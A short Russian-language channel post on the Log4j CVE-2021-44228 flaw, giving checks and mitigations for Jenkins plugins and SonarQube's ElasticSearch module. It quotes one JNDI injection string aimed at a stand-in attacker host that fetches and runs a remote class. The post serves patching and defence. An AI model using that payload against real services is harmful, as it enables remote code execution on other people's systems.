2021-12-13 09:55:58
Уязвимость в библиотеке Log4j в экосистеме Java Думаю многие, как и мы привыкли в стеке разработки использовать такие сервисы как
Jenkins и
SonarQube. Эти приложения написаны на языке Java и могут быть подвержены уязвимости CVE-2021-44228, исходящей от библиотеки Log4j версии 2.
Проблема вызвана тем, что
Log4j2 поддерживает обработку специальных масок "{}" в выводимых в лог строках, в которых могли выполняться запросы JNDI (Java Naming and Directory Interface). Атака сводится к передаче строки с подстановкой ${jndi:ldap://attacker.com/a}, при обработке которой Log4j 2 отправит на сервер attacker.com LDAP-запрос пути к Java-классу. Возвращённый сервером атакующего путь (например, http://second-stage.attacker.com/Exploit.class) будет загружен и выполнен в контексте текущего процесса, что позволяет атакующему добиться выполнения произвольного кода в системе с правами текущего приложения (информация взята из источника).
Как себя обезопасить?
Jenkins
В Jenkins Core эта библиотека не используется, но не исключает ее наличие в плагинах. Для проверки наличия уязвимости вам нужно зайти в Консоль сценариев (Настроить Jenkins -> Управление средами сборки -> узел master или built-in -> Консоль сценариев) и выполнить скрипт:
org.apache.logging.log4j.core.lookup.JndiLookup.class.protectionDomain.codeSource
Если выполнение скрипта привело к ошибке вида groovy.lang.MissingPropertyException: No such property: org for class: Script1, то библиотека Log4j2 в плагинах не используется.
Но если будет выведен путь и имя плагина, где все же используется библиотека, вам нужно будет удалить этот плагин, перезапустить сервис Jenkins и повторно выполнить скрипт в Консоли сценариев.
Официальный источник информации: Apache Log4j 2 vulnerability CVE-2021-44228.
SonarQube
Что касается сервиса SonarQube, то библиотека используется только в модуле
ElasticSearch. Чтобы обезопасить сервис, нужно в конфигурационный файл SonarQube или переменную среды добавить -Dlog4j2.formatMsgNoLookups=true.
В конфигурационном файле sonar.properties нужно добавить или изменить настройку sonar.search.javaAdditionalOpts, например:
sonar.search.javaAdditionalOpts=-Dlog4j2.formatMsgNoLookups=true
Или через переменную среды в системе, контейнере и т.п:
SONAR_SEARCH_JAVAADDITIONALOPTS=-Dlog4j2.formatMsgNoLookups=true
После указания настройки нужно перезапустить сервис SonarQube.
Официальный источник информации: SonarQube and the Log4J vulnerability.
411 views06:55